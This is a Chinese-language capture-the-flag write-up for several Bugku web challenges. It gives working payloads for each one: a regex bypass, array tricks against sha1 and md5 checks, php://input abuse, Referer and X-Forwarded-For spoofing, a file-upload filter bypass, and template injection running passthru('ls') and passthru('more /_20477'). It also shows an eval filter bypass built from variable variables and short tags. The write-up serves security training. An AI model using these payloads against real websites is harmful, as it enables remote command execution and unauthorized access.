1.Bugku刷题
字符?正则?
wp
审计代码。
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
//preg_match() 执行匹配正则表达式
//trim() 函数移除字符串两侧的空白字符或其他预定义字符
//
if( $IM ){
die('key is: '.$key);
}
①/key.key.{4,7}key:/./(.key)[a-z][[:punct:]]/i
/xxx/i 是PHP或Perl一类的语言中的正则表达式,其中xxx表示真正的正则表达式本身,而后面的i表示ignoreCase,即忽略大小写的意思。
②key.key.{4,7}key:/./(.key)[a-z][[:punct:]]
构造payload
?id=keyaakeyaaaakey:/a/akeya:
程序员本地网站
要求本地访问,那就改Referer头或X-Forwarded-For头即可。
MD5
试了一下,a是get参数。既然题目是md5碰撞,那就直接输入一个碰撞值即可。
各种绕过哟
绕就完事了,sha1函数不能处理数组。
?id=margin&uname[]=1
passwd[]=2
file_get_contents
看到file_get_contents函数马上联想到php://input伪函数。
构造payload
?ac=flag&fn=php://input
flag
需要管理员
御剑扫一下,扫出robots.txt,访问一下。
访问/resusl.php。
要提交get参数。弱口令爆破一下。
?x=admin
文件上传
文件头Content-Type: multipart/form-data中任意将一个字母改大写,文件后缀名改为php4,类型改为对应的image/jpeg。
文件包含2
直接把get参数改为/flag即可。
这道题到底有啥意思是呢?
点login咋没反应
提示在源码中。
访问,得到源码。
反序列化注入,写py脚本获得序列化payload。
<?php
$KEY='ctf.bugku.com';
echo serialize($KEY)
?>
//s:13:"ctf.bugku.com";
加进cookie里。
聪明的php
随便传一个参数先。
看提示,是模板漏洞。尝试一下{7*7},发现可以运算。
代码中过滤了很多函数,只能是找没被过滤的来注入。例如passthru。
构造payload
?file={passthru("ls")}
1-
可以正常执行,但是根目录下无flag文件,但有一个 _20477文件,打开看看。
此处要注意cat命令被过滤掉了,所以要用其他具有输出功能的命令。
?file={passthru("more /_20477")}
//Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读。
闪电十六鞭
知识点:可变变量,短标签。
wp
这道题的考查点就是对php代码的审计能力。
error_reporting(0);
//关闭报错
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
//flag参数是否设置
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
//flag的长度应与$exam相等,为49
//$exam="return'sha1(time())';",其中,sha1(time())为哈希加密,结果长度为40,所以 strlen($exam))=49
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
//不能出现以上关键词
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
构造payload
?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111
//flag被过滤了,所以要拆开来传入。
//并非是要通过if判断,而是利用eval函数来直接输出变量$flag。
//<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>。
//eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
//$$a为可变变量,即$$a=$flag。